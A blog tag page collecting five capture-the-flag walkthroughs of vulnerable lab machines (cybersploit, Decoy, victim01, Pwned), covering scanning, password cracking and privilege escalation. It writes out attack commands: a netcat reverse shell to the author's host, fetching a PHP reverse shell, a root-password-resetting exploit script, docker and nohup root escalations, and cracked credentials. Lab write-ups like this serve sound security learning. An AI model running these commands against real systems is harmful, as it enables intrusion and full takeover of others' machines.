Tag: tcert.net

rooting cybersploit 2 machine ?
Overview:
```
Target Machine IP Address: 192.168.56.41
My Machine IP Address: 192.168.56.20
```
Mission:

Boot to Root
```
Your target is gain the Root access

There is no any flag in this VMs

Share root access with me twitter@cybersploit1

This works better with VirtualBox rather than VMware
```
Download:
```
You can download the machine from here.
```
************************************

Information Gathering & Scanning Process:
```
sudo arp-scan --interface=eth0 192.168.56.1/24
```
```
nmap -sC -sV -p- 192.168.56.41 -o nmap.log
```
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos))
```
Let’s browse 192.168.56.41

Some strings are encrypted. Let’s check out the source code. (ctrl+u shortcut key)

Yes, this is a ROT47 encrypted message, I thought to write a script to do this however, let’s not waste time. Better google an online tool for this task. I used this one.
```
username: D92:=6?5C2 -> shailendra
password: 4J36CDA=@:E-> cybersploit1
```
Since the target machine is running SSH service, let’s try that.
```
ssh shailendra@192.168.56.41
```
ls -lah

We got a hint.txt

The system is running docker.

Remember always, this will be our black book of magic (gtfobins.github.io/)
```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh 
```
However, in order to run this command, you need to provide the internet (at least in my case), else you might not able to download alpine/latest.

Finally, cybersploit2 is pwned!!
July 23, 2020
Shelling Decoy
Overview:
```
Target Machine IP Address: 192.168.56.42
My Machine IP Address: 192.168.56.20
```
Mission:
```
THIS IS A MACHINE FOR COMPLETE BEGINNER, THERE ARE THREE FALGS AVAILABLE IN THIS VM.

FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.
```
Download:
```
You can download the machine from here.
```
************************************

Information Gathering & Scanning Process:
```
sudo arp-scan --interface=eth0 192.168.56.1/24
```
```
nmap -sC -sV -p- 192.168.56.42 -o nmap.log
```
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
```
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdfThe zip file required a password to access it. I am not able to find anything which could be leveraged to use as password. Let’s crack it through brute force using rockyou.txt with fcrackzip tool.
```
 fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt save.zip 
```
```
password: manuelhttps://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
```
We were able to get some juicy information and I am not going to write here each file, however, I am sure you know well that shadow file is the hashed form of the password for the users. I think this may be enough.

We need to break the hash, so let’s use john for the task and take necessary hashes and make it in one form.

username: 296640a3b825115a47b68fc44501c828
```
echo "$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us." | > ../hash.txt
```
```
ssh 296640a3b825115a47b68fc44501c828@192.168.56.42
```
password: server

We need to bypass the rbash restriction. I have never used it however, I have seen this in blog and youtube vidoes by IPPSec.

If you want to know more about rbash bypass, you can read it from here.

From that pdf resources, I tried all the commands and it didn’t work. However, as I tried the following Advance Techniques part, it no longer gives me
```
ssh 296640a3b825115a47b68fc44501c828@192.168.56.42 -t "bash --noprofile"
```
Now we can see that it no longer showing us rbash restriction rather command not found which means, the binary or the command path needs to be fixed here.

What I tried was I echo the PATH of my Kali Machine and copied this path and set it to the target machine. Perhaps you might understand it better if you see this screenshot.

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/go/bin/:/root/go-workspace/bin

Ok, let’s download pspy on Kali Machine and they transfer that to out targetted machine. I use SimpleHTTPServer to do the work, of course, you can have your own method 🙂

Let’s do a searchexploit chkrootkit or search chkrootkit on google (it will show exploit-db which is GUI of searchsploit).

When we read the exploit steps (like how to configure and how to use it), it tells us this..

The steps are quite self-explanatory, however, what I did here is, I checked the location of the NC program in the target box and then let it run /bin/sh with port 1234, to reverse a connection to IP address 192.168.56.33 (My Kali Machine). Of course, as per the instruction we need to give execution permission to out executable file

Note: I checked the cron entry and I was not able to find any relevant information that whether update (which we have created) is running nor I found chkrootkit related. Interestingly when I check the process through pspy64, periodically /tmp/update is running. Therefore, we can leverage that to our purpose. By the way, this might be because when we run this program honeypot.decoy, it triggers the chkrootkit.

Exploit 1:
```
#!/bin/bash
echo 'root:tcert.net' | sudo chpasswd

save it as update (by the way, you have to use nano editor this time because if I am not wrong vi editor is not available)

chmod +s update  (I sipped tea and look around) and then 

su - root 

password: tcert.net 
```
Exploit 2: (It didn’t work for me. I need to dig little deeper)
```
echo "/usr/bin/nc -e /bin/sh 192.168.56.33:1234" > update
chmod +x update
```
That’s all guys 🙂
July 23, 2020

Let’s pwn cybersploit machine

Overview:

Target Machine IP Address: 192.168.56.40
My Machine IP Address: 192.168.56.20

Mission:

THIS IS A MACHINE FOR COMPLETE BEGINNER, THERE ARE THREE FALGS AVAILABLE IN THIS VM.

FROM THIS VMs YOU WILL LEARN ABOUT ENCODER-DECODER & EXPLOIT-DB.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- 192.168.56.40 -o nmap.log

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

username:itsskv

cybersploit

CyBeRSplOiT

I ran nikto but didn’t get information but gobuster did give me something..

gobuster dir -u 192.168.56.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log

http://192.168.56.40/robots.txt

R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9

Let’s decrypt the string…

echo "R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9" | base64 -d

Flag1: cybersploit{youtube.com/c/cybersploit}

By the way, you might be wondering what is at http://192.168.56.40/hacker (it was just a gif).

Ok since, we got the username: itsskv

And password: cybersploit{youtube.com/c/cybersploit}

And the box is running ssh, how about we try that first?

ssh itsskv@192.168.56.40

ls -lah

cat flag2.txt

I used this website to decrypt. https://cryptii.com/pipes/binary-to-english

good work !
flag2: cybersploit{https:t.me/cybersploit1}

uname -a

3.13.0-32-generic

Google 3.13.0-32-generic exploit searchsploit didn’t work for me (I will figure this out later)

https://www.exploit-db.com/exploits/37292

 gcc 37292.c -o exploit

./exploit

flag3: cybersploit{Z3X21CW42C4 many many congratulations !}

That’s it guys! Going to have breakfast now … little hungry lol

Wish you a productive day!!

July 22, 2020

Let’s take down victim01
Overview:
```
Pwned Machine IP Address: 192.168.56.38
My Machine IP Address: 192.168.56.20
```
Mission:
```
To gain access to root and read the flag file Flag.txt.
```
Download:
```
You can download the machine from here.
```
************************************

Information Gathering & Scanning Process:
```
sudo arp-scan --interface=eth0 192.168.56.1/24
```
```
nmap -sC -sV -p- -o nmap.log 192.168.56.38
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

8080/tcp open http BusyBox httpd 1.13

8999/tcp open http WebFS httpd 1.21

9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)
```
http://192.168.56.38:8999
```
Let’s download WPA-01.cap

Let’s run the packet in wireshark
```
wireshark WPA-01.cap &
```
I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.

Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password? You might know if you have read this post.

Yeah I did run aircrack-ng on the CAP file with rockyou file.
```
aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt
```
Yes, the password is p4ssword
```
ssh dlink@192.168.56.38        password: p4ssword
```
I made it a habit that as soon as I get a limited (or user shell), I do manually check all the low hanging fruits.

Such as

sudo -l

cat ~/.viminfo

crontab -l

history

find / -perm -u=s -type f 2>/dev/null

find / -perm 0777 -type f 2>/dev/null

find / -writable -type d 2>/dev/null

to name a few. If I don’t find anything then I use linpeas.sh and other scripts, by uploading those to /tmp folder of that limited user account.

We found something interesting.
```
https://gtfobins.github.io/gtfobins/nohup/
```
Note: kindly bookmark this website site. https://gtfobins.github.io/
```
nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
```
yeah, we got the flag..

Method 2:

To check writeable directory
```
find / -writable -type d 2>/dev/null 
```
```
/var/www/bolt/public/files  it has the 777 permissions
```
If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.

Let’s do that..

On Kali Machine

I have downloaded and stored my shells and other tools at /opt

python -m SimpleHTTPServer 8000

On Victim01 Machine

cd /var/www/bolt/public/files/

wget 192.168.56.33:8000/php-reverse-shell.php

chmod +x php-reverse-shell.php

And also change the IP address and Port of your choice. Mine IP: 192.168.56.33 Port:1234

Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.

I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.

yes, another way to get root!

That’s all guys 🙂
July 21, 2020
Pwning Pwned
Overview:
```
Pwned Machine IP Address: 192.168.56.37
My Machine IP Address: 192.168.56.20
```
Mission:
```
To gain access to root and read the flag file Flag.txt.
```
Download:
```
You can download the machine from here.
```
************************************

To know the IP address of the Target Machine:
```
 sudo arp-scan --interface=vboxnet0 192.168.56.1/24
```
Scanning:
```
nmap -sC -sV  -p- 192.168.56.37 -o nmap.log
```
Output:
```
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
```
Let’s get a glimpse of the website first because the machine is running an apache web server.

Attacker name:
```
Annlynn
```
After the attacker’s name, I didn’t get any. So, usually, I like to check robots.txt

http://192.168.56.37/robots.txt

It redirects to some files and I won’t go through it here because it was a rabbit hole.

I did run Nikto scanner and got a little information but it was nothing special, as it just gave me things which I got earlier. (The folder called nothing. That’s all)

Gobuster Scanner:
```
dir -u 192.168.56.37 -w /usr/share/wordlists/directory-list-2.3-medium.txt -o gobuster.log
```
We got a new file, called hidden_text. This experience taught me an important lesson, i.e. never depend on a single tool for everything.
```
http://192.168.56.37/hidden_text/
```
I tried every parameter and, I thought to automate the process either through Burp Suite or a shell command. Perhaps, after this task is over, I will write a script to automate this task for us.
```
http://192.168.56.37/pwned.vuln/
```
View source code:
```
ftpuser' && $pw=='B0ss_B!TcH'
```
Exploitation:

Well, credential didn’t work with about login panel, so let us try with FTP (we know the machine is running FTP through Nmap scan.)

Yes, I was able to log into the machine by using the above credentials

However, I think it is important to pass -a as argument along with the command dir -a. Because although I was not able to see anything despite the command executed successfully.

I found two files in there. It looks like important because one file is an ssh key and other note content username. Probably we could get access by using this information.

username: ariana

password: ssh private key

Remember before using an SSH key, set the permission to either 400 or 600. (usually, I like 400 on production and 600 when I am trying something like a pwning machine).
```
chmod 600 id_rsa
```
```
ssh ariana@192.168.56.37 -i id_rsa
```
Yes, we got a shell here. Usually, as soon as I get a shell, I like to try some low hanging fruits first. Like what is shown in the screenshot.

So far we got this information:

User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
```
cat /home/messenger.sh  (make a mental note)
```
```
congratulations you Pwned ariana

Here is your user flag _______

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root
```
To be honest, I am yet to have breakfast and thought to grasp some but because of this flag, I am gonna stick with the machine sometimes more.

I found a diary called ariana-personal.diary

It was written

It’s Ariana personal Diary :::

Today Selena fight with me for Ajay. so i opened her hidden_text on server. now she resposible for the issue.

I didn’t get anything special, so how about we run the script that we got from above? /home/messenger.sh
```
sudo -u selena /home/messenger.sh
```
I struggled a little here and need to have a peek on other people’s walkthrough (it is here.)

yes, it is perfect time to get an interactive shell.
```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```
```
id 

docker images 

docker run -v /:/mnt --rm -it privesc chroot /mnt sh
```
I got root here, however, I was not happy because I don’t know what this script (docker run -v /:/mnt –rm -it privesc chroot /mnt sh) does. So gonna do little research after breakfast…

Wish you all a productive day!!

Some Rabbit holes while I was digging the account of ariana.

Other things, what I did

I thought to find some SUID and SGID file manually, however, since I have linpeas.sh on my Kali Machine (192.168.56.33). So I am going to upload the shell from there to the target machine. That way, it will do everything automatically.

chmod +x linpeas.sh (on target machine /tmp folder)

While I was going through the extensive report from the linpeas.sh, I can definitely conclude that the machine is running an outdated docker container.
```
ps aux | grep "docker"
```
1. Result excerpt from linpeas.sh

2. Result excerpt from linpeas.sh
July 19, 2020

Tag: tcert.net

rooting cybersploit 2 machine ?

Overview:

Mission:

Download:

Shelling Decoy

Overview:

Mission:

Download:

Let’s pwn cybersploit machine

Overview:

Mission:

Download:

Let’s take down victim01

Overview:

Mission:

Download:

Pwning Pwned

Overview:

Mission:

Download:

Scanning:

Exploitation: